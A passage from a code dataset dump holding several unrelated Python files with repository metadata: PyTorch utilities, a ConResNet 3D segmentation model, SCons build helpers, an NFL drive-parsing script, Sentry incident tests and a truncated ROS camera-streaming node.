x1: [B1, N]\n x2: [B2, N]\n\n Returns:\n [B1, B2] matrix\n \"\"\"\n assert x1.ndim == x2.ndim == 2\n\n x1_normalized = l2_normalize(x1, dim=-1) # [B1, N]\n x2_normalized_T = l2_normalize(x2, dim=-1).T # [N, B2]\n return torch.matmul(x1_normalized, x2_normalized_T) # [B1, B2]\n\n\ndef create_mask_3d(q_tensor: Tensor, v_mask: Tensor, dtype=torch.float):\n \"\"\" Create 3D attention mask from a 2D tensor mask.\n\n Args:\n q_tensor: 2D or 3D Tensor of shape [B, Q, ...].\n v_mask: int32 Tensor of shape [B, V].\n dtype:\n\n Returns:\n float Tensor of shape [B, Q, V].\n\n References:\n [google-research/bert](https://github.com/google-research/bert)\n \"\"\"\n B = q_tensor.shape[0] # B\n Q = q_tensor.shape[1] # Q\n\n v_mask = v_mask.unsqueeze(1) # [B, V] -> [B, 1, V]\n mask = torch.ones([B, Q, 1]) * v_mask # [B, Q, V]\n return mask.to(dtype)\n\n\ndef get_state_dict(weights_path, from_tf=False):\n \"\"\" 加载预训练权重字典 {weight_name: tensor} \"\"\"\n if from_tf:\n state_dict = load_state_dict_tf(weights_path)\n else:\n state_dict = load_state_dict_pt(weights_path)\n _update_state_dict_keys(state_dict)\n\n return state_dict\n\n\ndef get_version():\n \"\"\"\"\"\"\n return torch.__version__\n\n\ndef load_state_dict_tf(weights_path):\n \"\"\"\"\"\"\n import tensorflow as tf\n _loader = lambda name: tf.train.load_variable(weights_path, name)\n\n if os.path.isdir(weights_path): # 如果是目录\n # 找出目录下的 xxx.ckpt.index 文件\n file_ls = os.listdir(weights_path)\n file_name = [f for f in file_ls if f.endswith('.index')][0]\n weights_path = os.path.join(weights_path, file_name)\n\n weights_path = weights_path[:-6] if weights_path.endswith('.index') else weights_path\n weights_pretrained = OrderedDict()\n for n, _ in tf.train.list_variables(weights_path):\n array = _loader(n)\n if n.endswith('kernel'):\n array = np.transpose(array) # transpose(tf[in, out]) -> pt[out, in]\n weights_pretrained[n] = torch.as_tensor(array)\n\n return weights_pretrained\n\n\ndef load_state_dict_pt(weights_path, map_location='cpu'):\n \"\"\"\"\"\"\n return torch.load(weights_path, map_location=map_location)\n\n\ndef load_weights_partly(model: nn.Module, weights_dict, name_mapping=None):\n \"\"\" 部分权重加载\n\n Args:\n model: 待加载模型\n weights_dict: {name: tensor} 字典\n name_mapping: {name: name_pre} 字典,默认为 None;\n 当 weights_dict 雨模型中权重名称不匹配时,可以通过 name_mapping 再映射一次\n \"\"\"\n if name_mapping:\n for name, name_pre in name_mapping.items():\n if name_pre in weights_dict:\n weights_dict[name] = weights_dict.pop(name_pre) # 替换新名称\n\n load_keys = set() # 记录顺利加载的 key\n state_dict_new = OrderedDict() # 新 state_dict,不直接修改原 state_dict\n state_dict = model.state_dict()\n for name, tensor in state_dict.items():\n if name not in weights_dict:\n state_dict_new[name] = tensor\n else:\n _assert_shape(weights_dict[name], tensor) # noqa\n\n state_dict_new[name] = weights_dict[name]\n load_keys.add(name)\n\n missed_keys = sorted(set(state_dict.keys()) - load_keys) # 未更新的权重\n unused_keys = sorted(set(weights_dict.keys()) - load_keys) # 未使用的权重\n logger.info(f'Missed keys({len(missed_keys)}): {missed_keys}')\n logger.info(f'Unused keys({len(unused_keys)}): {unused_keys}')\n\n model.load_state_dict(state_dict_new) # reload\n model.eval() # deactivate dropout\n return model\n\n\ndef log_softmax(x: Tensor, dim=-1):\n \"\"\"\"\"\"\n x = softmax(x, dim=dim) # [B, C]\n return torch.log(x) # [B, C]\n\n\ndef sequence_masking(x: torch.Tensor,\n mask: torch.Tensor,\n axis=1, mode='add', inf=1e12):\n \"\"\"序列 mask\n\n Args:\n x: 2D 或 2D 以上张量,必须包含 batch_size 和 seq_len 两个维度\n mask: 形如 (batch_size, seq_len) 的 0/1 矩阵\n axis: 需要 mask 的维度,即 seq_len 所在维度,默认为 1\n mode: 有 'mul' 和 'add' 两种:\n mul 会将 pad 部分置零,一般用于全连接层之前;\n add 会把 pad 部分减去一个大的常数,一般用于 softmax 之前。\n inf: 大的常数\n\n Returns:\n tensor with shape same as x\n\n Examples:\n mask = [B, L]\n 示例 1:x.shape = [B, L, _], 则 axis=1 (默认)\n 示例 2:x.shape = [B, _, L, _], 则 axis=2\n 示例 3:x.shape = [B, _, _, L], 则 axis=-1\n \"\"\"\n if mask is None:\n return x\n\n assert mask.ndim == 2, 'only for mask.ndim == 2'\n\n if axis < 0:\n axis = x.ndim + axis\n\n # 将 mask 的维度扩充到与 x 一致,以便进行广播\n # 示例:假设 x.shape = [B, _, L, _]\n # 则经过以下操作后,mask.shape = [B, 1, L, 1],相当于 mask = mask[:, None, :, None]\n for _ in range(axis - 1):\n mask = mask.unsqueeze(1)\n for _ in range(x.ndim - axis - 1):\n mask = mask.unsqueeze(-1)\n\n if mode == 'mul':\n return x * mask\n elif mode == 'add':\n return x - (1 - mask) * inf\n else:\n raise ValueError('`mode` must be one of %s' % {'add', 'mul'})\n\n\ndef softmax(x: Tensor, dim=-1):\n \"\"\"\"\"\"\n x_exp = torch.exp(x) # [B, C]\n x_exp_sum = torch.sum(x_exp, dim=dim, keepdim=True) # [B, 1]\n return x_exp / x_exp_sum # [B, C]\n\n\ndef _assert_shape(tensor1, tensor2):\n \"\"\"\"\"\"\n t1_shape = list(tensor1.shape)\n t2_shape = list(tensor2.shape)\n assert t1_shape == t2_shape, f'shape mismatching: {t1_shape} vs {t2_shape}'\n return True\n\n\ndef _update_state_dict_keys(state_dict):\n \"\"\"\"\"\"\n # 特殊处理:一些 pt 权重参数中 LN 层的参数名依然为 gamma 和 beta(官方实现应该为 weight 和 bias)\n # 推测应该是使用了自定义 LN 层,所以参数名称不同,这里需要特殊处理一下\n tmp_keys = []\n for key in state_dict.keys():\n new_key = None\n if \"gamma\" in key:\n new_key = key.replace(\"gamma\", \"weight\")\n if \"beta\" in key:\n new_key = key.replace(\"beta\", \"bias\")\n if new_key:\n tmp_keys.append((key, new_key))\n\n for old_key, new_key in tmp_keys:\n state_dict[new_key] = state_dict.pop(old_key)\n\n return state_dict\n\n\ndef _test():\n \"\"\"\"\"\"\n doctest.testmod()\n\n def _test_softmax():\n \"\"\"\"\"\"\n x = torch.randn(5, 6)\n assert torch.allclose(softmax(x), F.softmax(x, dim=-1), atol=1e-5)\n assert torch.allclose(log_softmax(x), F.log_softmax(x, dim=-1), atol=1e-5)\n\n _test_softmax()\n\n\nif __name__ == '__main__':\n \"\"\"\"\"\"\n _test()\n","repo_name":"yanwenheng/studies","sub_path":"code/my/pytorch/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23035820653","text":"import torch.nn as nn\nfrom torch.nn import functional as F\nimport torch\nimport numpy as np\n\n\nclass Conv3d(nn.Conv3d):\n\n def __init__(self, in_channels, out_channels, kernel_size, stride=(1,1,1), padding=(0,0,0), dilation=(1,1,1), groups=1, bias=False):\n super(Conv3d, self).__init__(in_channels, out_channels, kernel_size, stride, padding, dilation, groups, bias)\n\n def forward(self, x):\n weight = self.weight\n weight_mean = weight.mean(dim=1, keepdim=True).mean(dim=2, keepdim=True).mean(dim=3, keepdim=True).mean(dim=4, keepdim=True)\n weight = weight - weight_mean\n std = torch.sqrt(torch.var(weight.view(weight.size(0), -1), dim=1) + 1e-12).view(-1, 1, 1, 1, 1)\n weight = weight / std.expand_as(weight)\n return F.conv3d(x, weight, self.bias, self.stride, self.padding, self.dilation, self.groups)\n\ndef conv3x3x3(in_planes, out_planes, kernel_size=(3, 3, 3), stride=(1, 1, 1), padding=(1,1,1), dilation=(1,1,1), bias=False,\n weight_std=False):\n \"3x3x3 convolution with padding\"\n if weight_std:\n return Conv3d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=padding, dilation=dilation,\n bias=bias)\n else:\n return nn.Conv3d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=padding,\n dilation=dilation, bias=bias)\n\n\nclass ConResAtt(nn.Module):\n def __init__(self, in_planes, out_planes, kernel_size=(3, 3, 3), stride=(1, 1, 1), padding=(1, 1, 1),\n dilation=(1, 1, 1), bias=False, weight_std=False, first_layer=False):\n super(ConResAtt, self).__init__()\n self.weight_std = weight_std\n self.stride = stride\n self.in_planes = in_planes\n self.out_planes = out_planes\n self.first_layer = first_layer\n\n self.relu = nn.ReLU(inplace=True)\n\n self.gn_seg = nn.GroupNorm(8, in_planes)\n self.conv_seg = conv3x3x3(in_planes, out_planes, kernel_size=(kernel_size[0], kernel_size[1], kernel_size[2]),\n stride=(stride[0], stride[1], stride[2]), padding=(padding[0], padding[1], padding[2]),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n\n self.gn_res = nn.GroupNorm(8, out_planes)\n self.conv_res = conv3x3x3(out_planes, out_planes, kernel_size=(1,1,1),\n stride=(1, 1, 1), padding=(0,0,0),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n\n self.gn_res1 = nn.GroupNorm(8, out_planes)\n self.conv_res1 = conv3x3x3(out_planes, out_planes, kernel_size=(kernel_size[0], kernel_size[1], kernel_size[2]),\n stride=(1, 1, 1), padding=(padding[0], padding[1], padding[2]),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n self.gn_res2 = nn.GroupNorm(8, out_planes)\n self.conv_res2 = conv3x3x3(out_planes, out_planes, kernel_size=(kernel_size[0], kernel_size[1], kernel_size[2]),\n stride=(1, 1, 1), padding=(padding[0], padding[1], padding[2]),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n\n self.gn_mp = nn.GroupNorm(8, in_planes)\n self.conv_mp_first = conv3x3x3(4, out_planes, kernel_size=(kernel_size[0], kernel_size[1], kernel_size[2]),\n stride=(stride[0], stride[1], stride[2]), padding=(padding[0], padding[1], padding[2]),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n self.conv_mp = conv3x3x3(in_planes, out_planes, kernel_size=(kernel_size[0], kernel_size[1], kernel_size[2]),\n stride=(stride[0], stride[1], stride[2]), padding=(padding[0], padding[1], padding[2]),\n dilation=(dilation[0], dilation[1], dilation[2]), bias=bias, weight_std=self.weight_std)\n\n def _res(self, x): # bs, channel, D, W, H\n\n bs, channel, depth, heigt, width = x.shape\n x_copy = torch.zeros_like(x).cuda()\n x_copy[:, :, 1:, :, :] = x[:, :, 0: depth - 1, :, :]\n res = x - x_copy\n res[:, :, 0, :, :] = 0\n res = torch.abs(res)\n return res\n\n def forward(self, input):\n x1, x2 = input\n if self.first_layer:\n x1 = self.gn_seg(x1)\n x1 = self.relu(x1)\n x1 = self.conv_seg(x1)\n\n res = torch.sigmoid(x1)\n res = self._res(res)\n res = self.conv_res(res)\n\n x2 = self.conv_mp_first(x2)\n x2 = x2 + res\n\n else:\n x1 = self.gn_seg(x1)\n x1 = self.relu(x1)\n x1 = self.conv_seg(x1)\n\n res = torch.sigmoid(x1)\n res = self._res(res)\n res = self.conv_res(res)\n\n\n if self.in_planes != self.out_planes:\n x2 = self.gn_mp(x2)\n x2 = self.relu(x2)\n x2 = self.conv_mp(x2)\n\n x2 = x2 + res\n\n x2 = self.gn_res1(x2)\n x2 = self.relu(x2)\n x2 = self.conv_res1(x2)\n\n x1 = x1*(1 + torch.sigmoid(x2))\n\n return [x1, x2]\n\n\nclass NoBottleneck(nn.Module):\n def __init__(self, inplanes, planes, stride=(1, 1, 1), dilation=(1, 1, 1), downsample=None, fist_dilation=1,\n multi_grid=1, weight_std=False):\n super(NoBottleneck, self).__init__()\n self.weight_std = weight_std\n self.relu = nn.ReLU(inplace=True)\n\n self.gn1 = nn.GroupNorm(8, inplanes)\n self.conv1 = conv3x3x3(inplanes, planes, kernel_size=(3, 3, 3), stride=stride, padding=dilation * multi_grid,\n dilation=dilation * multi_grid, bias=False, weight_std=self.weight_std)\n\n self.gn2 = nn.GroupNorm(8, planes)\n self.conv2 = conv3x3x3(planes, planes, kernel_size=(3, 3, 3), stride=(1, 1, 1), padding=dilation * multi_grid,\n dilation=dilation * multi_grid, bias=False, weight_std=self.weight_std)\n\n self.downsample = downsample\n self.dilation = dilation\n self.stride = stride\n\n def forward(self, x):\n skip = x\n\n seg = self.gn1(x)\n seg = self.relu(seg)\n seg = self.conv1(seg)\n\n seg = self.gn2(seg)\n seg = self.relu(seg)\n seg = self.conv2(seg)\n\n if self.downsample is not None:\n skip = self.downsample(x)\n\n seg = seg + skip\n return seg\n\n\nclass conresnet(nn.Module):\n def __init__(self, shape, block, layers, num_classes=3, weight_std=False):\n self.shape = shape\n self.weight_std = weight_std\n super(conresnet, self).__init__()\n\n self.conv_4_32 = nn.Sequential(\n conv3x3x3(4, 32, kernel_size=(3, 3, 3), stride=(1, 1, 1), weight_std=self.weight_std))\n\n self.conv_32_64 = nn.Sequential(\n nn.GroupNorm(8, 32),\n nn.ReLU(inplace=True),\n conv3x3x3(32, 64, kernel_size=(3, 3, 3), stride=(2, 2, 2), weight_std=self.weight_std))\n\n self.conv_64_128 = nn.Sequential(\n nn.GroupNorm(8, 64),\n nn.ReLU(inplace=True),\n conv3x3x3(64, 128, kernel_size=(3, 3, 3), stride=(2, 2, 2), weight_std=self.weight_std))\n\n self.conv_128_256 = nn.Sequential(\n nn.GroupNorm(8, 128),\n nn.ReLU(inplace=True),\n conv3x3x3(128, 256, kernel_size=(3, 3, 3), stride=(2, 2, 2), weight_std=self.weight_std))\n\n self.layer0 = self._make_layer(block, 32, 32, layers[0], stride=(1, 1, 1))\n self.layer1 = self._make_layer(block, 64, 64, layers[1], stride=(1, 1, 1))\n self.layer2 = self._make_layer(block, 128, 128, layers[2], stride=(1, 1, 1))\n self.layer3 = self._make_layer(block, 256, 256, layers[3], stride=(1, 1, 1))\n self.layer4 = self._make_layer(block, 256, 256, layers[4], stride=(1, 1, 1), dilation=(2,2,2))\n\n self.fusionConv = nn.Sequential(\n nn.GroupNorm(8, 256),\n nn.ReLU(inplace=True),\n nn.Dropout3d(0.1),\n conv3x3x3(256, 128, kernel_size=(3, 3, 3), stride=(1, 1, 1), padding=(1, 1, 1), dilation=(1, 1, 1), weight_std=self.weight_std)\n )\n\n self.seg_x4 = nn.Sequential(\n ConResAtt(128, 64, kernel_size=(3, 3, 3), padding=(1, 1, 1), weight_std=self.weight_std, first_layer=True))\n self.seg_x2 = nn.Sequential(\n ConResAtt(64, 32, kernel_size=(3, 3, 3), padding=(1, 1, 1), weight_std=self.weight_std))\n self.seg_x1 = nn.Sequential(\n ConResAtt(32, 32, kernel_size=(3, 3, 3), padding=(1, 1, 1), weight_std=self.weight_std))\n\n self.seg_cls = nn.Sequential(\n nn.Conv3d(32, num_classes, kernel_size=1)\n )\n self.res_cls = nn.Sequential(\n nn.Conv3d(32, num_classes, kernel_size=1)\n )\n self.resx2_cls = nn.Sequential(\n nn.Conv3d(32, num_classes, kernel_size=1)\n )\n self.resx4_cls = nn.Sequential(\n nn.Conv3d(64, num_classes, kernel_size=1)\n )\n\n def _make_layer(self, block, inplanes, outplanes, blocks, stride=(1, 1, 1), dilation=(1, 1, 1), multi_grid=1):\n downsample = None\n if stride[0] != 1 or stride[1] != 1 or stride[2] != 1 or inplanes != outplanes:\n downsample = nn.Sequential(\n nn.GroupNorm(8, inplanes),\n nn.ReLU(inplace=True),\n conv3x3x3(inplanes, outplanes, kernel_size=(1, 1, 1), stride=stride, padding=(0, 0, 0),\n weight_std=self.weight_std)\n )\n\n layers = []\n generate_multi_grid = lambda index, grids: grids[index % len(grids)] if isinstance(grids, tuple) else 1\n layers.append(block(inplanes, outplanes, stride, dilation=dilation, downsample=downsample,\n multi_grid=generate_multi_grid(0, multi_grid), weight_std=self.weight_std))\n for i in range(1, blocks):\n layers.append(\n block(inplanes, outplanes, dilation=dilation, multi_grid=generate_multi_grid(i, multi_grid),\n weight_std=self.weight_std))\n return nn.Sequential(*layers)\n\n\n def forward(self, x_list):\n x, x_res = x_list\n\n ## encoder\n x = self.conv_4_32(x)\n x = self.layer0(x)\n skip1 = x\n\n x = self.conv_32_64(x)\n x = self.layer1(x)\n skip2 = x\n\n x = self.conv_64_128(x)\n x = self.layer2(x)\n skip3 = x\n\n x = self.conv_128_256(x)\n x = self.layer3(x)\n\n x = self.layer4(x)\n\n x = self.fusionConv(x)\n\n ## decoder\n res_x4 = F.interpolate(x_res, size=(int(self.shape[0] / 4), int(self.shape[1] / 4), int(self.shape[2] / 4)), mode='trilinear', align_corners=True)\n seg_x4 = F.interpolate(x, size=(int(self.shape[0] / 4), int(self.shape[1] / 4), int(self.shape[2] / 4)), mode='trilinear', align_corners=True)\n seg_x4 = seg_x4 + skip3\n seg_x4, res_x4 = self.seg_x4([seg_x4, res_x4])\n\n res_x2 = F.interpolate(res_x4, size=(int(self.shape[0] / 2), int(self.shape[1] / 2), int(self.shape[2] / 2)), mode='trilinear', align_corners=True)\n seg_x2 = F.interpolate(seg_x4, size=(int(self.shape[0] / 2), int(self.shape[1] / 2), int(self.shape[2] / 2)), mode='trilinear', align_corners=True)\n seg_x2 = seg_x2 + skip2\n seg_x2, res_x2 = self.seg_x2([seg_x2, res_x2])\n\n res_x1 = F.interpolate(res_x2, size=(int(self.shape[0] / 1), int(self.shape[1] / 1), int(self.shape[2] / 1)), mode='trilinear', align_corners=True)\n seg_x1 = F.interpolate(seg_x2, size=(int(self.shape[0] / 1), int(self.shape[1] / 1), int(self.shape[2] / 1)), mode='trilinear', align_corners=True)\n seg_x1 = seg_x1 + skip1\n seg_x1, res_x1 = self.seg_x1([seg_x1, res_x1])\n\n seg = self.seg_cls(seg_x1)\n res = self.res_cls(res_x1)\n resx2 = self.resx2_cls(res_x2)\n resx4 = self.resx4_cls(res_x4)\n\n resx2 = F.interpolate(resx2, size=(int(self.shape[0] / 1), int(self.shape[1] / 1), int(self.shape[2] / 1)),\n mode='trilinear', align_corners=True)\n resx4 = F.interpolate(resx4, size=(int(self.shape[0] / 1), int(self.shape[1] / 1), int(self.shape[2] / 1)),\n mode='trilinear', align_corners=True)\n\n return [seg, res, resx2, resx4]\n\n\ndef ConResNet(shape, num_classes=3, weight_std=True):\n\n model = conresnet(shape, NoBottleneck, [1, 2, 2, 2, 2], num_classes, weight_std)\n\n return model","repo_name":"jianpengz/ConResNet","sub_path":"models/ConResNet.py","file_name":"ConResNet.py","file_ext":"py","file_size_in_byte":12708,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"18"} +{"seq_id":"5415895707","text":"#clang setup\nimport subprocess\ndef SetClang(env):\n env['CXX'] = 'clang++'\n env['CC'] = 'clang'\n\n path = ['/afs/cern.ch/user/f/fnewson/work/programs/llvm-build/Release+Asserts/bin',\n '/afs/cern.ch/sw/lcg/contrib/gcc/4.8.1/x86_64-slc6-gcc48-opt/bin', \n '/usr/local/bin', '/bin', '/usr/bin', '/usr/local/sbin', '/usr/sbin' ,'/sbin']\n\n ld_library_path = ['/afs/cern.ch/sw/lcg/contrib/gcc/4.8.1/x86_64-slc6-gcc48-opt/lib64','/lib64']\n\n env.Append( ENV = \n { 'PATH' : \":\".join(path), \n 'LD_LIBRARY_PATH' : ':'.join(ld_library_path), \n 'TERM': 'xterm' } )\n\nAddMethod( Environment, SetClang )\n\ndef SetGCC( env ):\n path = [ '/afs/cern.ch/sw/lcg/contrib/gcc/4.7.2/i686-slc6-gcc47-opt/bin',\n '/usr/local/bin', '/bin', '/usr/bin', '/usr/local/sbin', '/usr/sbin' ,'/sbin']\n\n env['CXX'] = '/afs/cern.ch/sw/lcg/contrib/gcc/4.7.2/i686-slc6-gcc47-opt/bin/g++'\n env['CC'] = '/afs/cern.ch/sw/lcg/contrib/gcc/4.7.2/i686-slc6-gcc47-opt/bin/gcc'\n\n ld_library_path = ['/afs/cern.ch/sw/lcg/contrib/gcc/4.7.2/i686-slc6-gcc47-opt/lib','/lib']\n\n env.AppendENVPath( 'PATH' , \":\".join(path) )\n env.AppendENVPath( 'LD_LIBRARY_PATH' , ':'.join(ld_library_path) )\n env.AppendENVPath( 'TERM', 'xterm' )\n\nAddMethod( Environment, SetGCC )\n\ndef SetRoot( env, root_home ):\n root_config = os.path.join( root_home, 'bin', 'root-config' )\n root_libdir = subprocess.check_output( [root_config, '--libdir'])\n root_incdir = subprocess.check_output( [root_config, '--incdir'])\n root_cflags = subprocess.check_output( [root_config, '--cflags'])\n env.Append( ROOTPATH = root_home )\n env.Append( CPPPATH = [root_incdir.rstrip()] )\n env.Append( LIBPATH = [root_libdir.rstrip()] )\n env.Append( CCFLAGS = root_cflags )\n env.AppendENVPath( 'LD_LIBRARY_PATH', root_libdir.rstrip() )\n env.Append( LIBS = ['Core','Cint','RIO','Net','Hist','Graf','Graf3d','Gpad',\n 'Tree','Rint','Postscript','Matrix','Physics','MathCore','Thread','pthread','m','dl'] )\n\nAddMethod( Environment, SetRoot )\n\ndef SetBoost( env, boost_home, boost_name ):\n boost_libdir = os.path.join( boost_home , 'lib' )\n boost_incdir = os.path.join( boost_home, os.path.join('include', boost_name ) )\n env.Append( CXXFLAGS = '-isystem ' + boost_incdir )\n env.Append( LIBPATH = boost_libdir )\n env.Append( RPATH = [boost_libdir] )\n\nAddMethod( Environment, SetBoost )\n\ndef SetYaml( env, yaml_home ):\n env.Append( CPPPATH = os.path.join( yaml_home, 'include' ) )\n env.Append( LIBPATH = os.path.join( yaml_home, 'process_build' ) )\n env.Append( LIBS = 'yaml-cpp' )\n env.Append( RPATH = [os.path.join( yaml_home, 'process_build' )] )\n\nAddMethod( Environment, SetYaml )\n\ndef AddLibs( env, libs ):\n env.Append( CPPPATH = [ os.path.join('../', lib, 'inc' ) for lib in libs] )\n env.Append( LIBPATH = [('../'+lib ) for lib in libs] )\n env.Append( LIBS = libs )\n env.Append( RPATH = [ os.path.join( env['variantDir'], lib ) for lib in libs] )\n\nAddMethod( Environment, AddLibs )\n\ndef AddEvent( env, remote, local ):\n env.Append( CPPPATH = os.path.join( remote, 'inc' ) )\n env.Append( LIBPATH = '../'+local )\n env.Append( LIBS = 'event' )\n env.Append( RPATH = os.path.join( env['variantDir'], 'event' ) )\n\nAddMethod( Environment, AddEvent )\n","repo_name":"francisnewson/fneevent","sub_path":"site_scons/site_init.py","file_name":"site_init.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36898571633","text":"#!/usr/bin/env python\n\nimport pandas as pd\n\n# Requires parsed play-by-play first!!!\nrawdrives_file = \"/home/welced12/googledrive/nfl_data/devl/espn_drives.json\"\nparseddrives_file = \"/home/welced12/googledrive/nfl_data/devl/espn_parseddrives.json\"\npbp_file = \"/home/welced12/googledrive/nfl_data/devl/espn_parsedplays.json\"\n\n\ndef find_endofhalves(result_list):\n is_eoh = []\n for outcome in [x.lower() for x in result_list]:\n eoh = 0\n if \"end of half\" in outcome:\n eoh = 1\n elif \"end of game\" in outcome:\n eoh = 1\n is_eoh.append(eoh) \n return is_eoh\n\n\ndef find_tds(result_list):\n is_td = []\n for outcome in [x.lower() for x in result_list]:\n td = 0\n if \"touchdown\" in outcome:\n td = 1\n # Exceptions for probable defensive scores\n for to in ['intercept','fumble','punt']:\n if to in outcome:\n td = 0\n is_td.append(td)\n return is_td\n\n\ndef find_fgs(result_list):\n is_fg = []\n for outcome in [x.lower() for x in result_list]:\n fg = 0\n if ('field goal' in outcome) or ('fg' in outcome):\n fg = 1\n if 'block' in outcome:\n fg = 0\n is_fg.append(fg)\n return is_fg\n\n\ndef find_punts(result_list):\n is_punt = []\n for outcome in [x.lower() for x in result_list]:\n punt = 0\n if 'punt' in outcome:\n punt = 1\n is_punt.append(punt)\n return is_punt\n\n\ndef find_turnovers(result_list):\n is_to = []\n for outcome in [x.lower() for x in result_list]:\n to = 0\n for word in ['intercept','fumble','downs','safety']:\n if word in outcome:\n to = 1\n is_to.append(to)\n return is_to\n\n\ndef get_time_in_secs(value_list):\n top_secs = [0 for x in value_list]\n for i, time in enumerate(value_list):\n (mins,secs) = time.split(\":\")\n total_seconds = int(secs) + 60*int(mins)\n top_secs[i] = total_seconds\n return top_secs\n\ndef get_home_poss(df):\n\thome_team = df.home.values\n\toffense = df.offense.values\n\tcol = [ 1 if ht==off else 0 for (ht,off) in zip(home_team,offense) ]\n\treturn col\n\n\n### MAIN ###\n# Read raw drives DataFrame from file\nprint(\"Reading raw drives file\")\ndrives_df = pd.read_json(rawdrives_file)\nparsed_df = drives_df.loc[:,:]\n\n# Determine drive results\nprint(\"Parsing drive results\")\nparsed_df['TD'] = find_tds(drives_df['result'].values)\nparsed_df['FG'] = find_fgs(drives_df['result'].values)\nparsed_df['punt'] = find_punts(drives_df['result'].values)\nparsed_df['turnover'] = find_turnovers(drives_df['result'].values)\nparsed_df['eoh'] = find_endofhalves(drives_df['result'].values)\n\n# Read the length of each drive in seconds\nprint(\"Translating drive lengths\")\nparsed_df['time_in_secs'] = get_time_in_secs(drives_df.time.values)\n\n# To find seconds remaining at the beginning of a drive, get it from play-by-play\nprint(\"Extracting time remaining from play-by-play data\")\npbp_df = pd.read_json(pbp_file)\nfirstplays = pbp_df.loc[ pbp_df['play_num'] == 1 ]\nfirstplays['driveid'] = firstplays.gameid.astype(str)+\"-\"+firstplays.drive_num.astype(str)\nright_df = firstplays[['driveid','secs_rem']]\nparsed_df = pd.merge(\n parsed_df, right_df,\n how='left',\n left_index=True,\n right_on='driveid',\n)\nparsed_df.set_index('driveid', inplace=True)\n\n# Get secs left in half at beginning of a drive\nleft_in_half = [t if t <= 1800 else t-1800 for t in parsed_df.secs_rem.values]\nparsed_df['left_in_half'] = left_in_half\n\n# Get column for whether home team has possession\nprint(\"Determining whether home team has possession\")\nparsed_df['home_poss'] = get_home_poss(parsed_df)\n\n# Write this new parsed drives DataFrame to new file\nprint(\"Writing parsed drives\")\nparsed_df.to_json(parseddrives_file)\n","repo_name":"ewelchman/football_analytics","sub_path":"weekly_update/espn_parsedrives.py","file_name":"espn_parsedrives.py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32665084703","text":"from __future__ import absolute_import\n\nfrom sentry.incidents.models import IncidentSuspectCommit\nfrom sentry.models.commit import Commit\nfrom sentry.models.release import Release\nfrom sentry.models.releasecommit import ReleaseCommit\nfrom sentry.models.repository import Repository\nfrom sentry.signals import release_commits_updated\nfrom sentry.snuba.models import QuerySubscription\nfrom sentry.testutils import TestCase\n\n\nclass HandleReleaseCommitsUpdatedTest(TestCase):\n def test(self):\n release = self.create_release(project=self.project, version=\"something\")\n self.repo = Repository.objects.create(\n organization_id=self.organization.id, name=self.organization.id\n )\n release.set_commits(\n [\n {\n \"id\": \"a\" * 40,\n \"repository\": self.repo.name,\n \"author_email\": \"bob@example.com\",\n \"author_name\": \"Bob\",\n }\n ]\n )\n commit = Commit.objects.get(releasecommit__release=release)\n\n incident = self.create_incident()\n ReleaseCommit.objects.filter(release=release).delete()\n IncidentSuspectCommit.objects.create(incident=incident, commit=commit, order=1)\n with self.tasks():\n release_commits_updated.send_robust(\n release=release,\n removed_commit_ids=set([commit.id]),\n added_commit_ids=set([]),\n sender=Release,\n )\n assert not IncidentSuspectCommit.objects.filter(incident=incident).exists()\n\n\nclass AddProjectToIncludeAllRulesTest(TestCase):\n def test_include_all_projects_enabled(self):\n alert_rule = self.create_alert_rule(include_all_projects=True)\n new_project = self.create_project()\n assert QuerySubscription.objects.filter(\n project=new_project, alert_rules=alert_rule\n ).exists()\n\n def test_include_all_projects_disabled(self):\n alert_rule = self.create_alert_rule(include_all_projects=False)\n new_project = self.create_project()\n assert not QuerySubscription.objects.filter(\n project=new_project, alert_rules=alert_rule\n ).exists()\n\n def test_update_noop(self):\n new_project = self.create_project()\n alert_rule = self.create_alert_rule(\n include_all_projects=True, excluded_projects=[new_project]\n )\n new_project.update(name=\"hi\")\n assert not QuerySubscription.objects.filter(\n project=new_project, alert_rules=alert_rule\n ).exists()\n","repo_name":"pastpatryk/sentry","sub_path":"tests/sentry/incidents/test_receivers.py","file_name":"test_receivers.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"24364094312","text":"#! /usr/bin/env python3\n\nimport os\nimport cv2\nimport sys\nimport time\nimport rospy\nfrom cv_bridge import CvBridge\nfrom sensor_msgs.msg import Image, CameraInfo, CompressedImage\nfrom camera_info_manager import *\nfrom threading import Thread\nfrom time import sleep\nimport errlog\n\n# this reads the rtsp stream and converts it to ros messages\ndef do_math(resource, camera_name, camera_frame, image_topic, camera_info_topic):\n sleep(60)\n # initialize ROS node\n rospy.init_node(camera_name)\n errlog.progLog(\"starting a camera\", level=0),\n image_topic += \"/compressed\"\n\n # open RTSP stream\n cap = cv2.VideoCapture(resource)\n while not cap.isOpened():\n errlog.progLog(\"Error opening resource `%s`. Please check.\" % resource, level=2)\n cap = cv2.VideoCapture(resource)\n sleep(30)\n errlog.progLog(\"Resource successfully opened\")\n\n # create publishers\n # image_pub = rospy.Publisher(image_topic, Image, queue_size=1)\n image_pub = rospy.Publisher(image_topic, CompressedImage, queue_size=1)\n\n # initialize ROS_CV_Brideg\n ros_cv_bridge = CvBridge()\n \n\n # initialize variables\n errlog.progLog(\"Correctly opened resource, starting to publish feed???\", level=0)\n rval, cv_image = cap.read()\n\n # process frames\n while True:\n if rval:\n # errlog.progLog(\"frames are being processed (maybe)\", level=0)\n # get new frame\n rval = None\n cv_image = 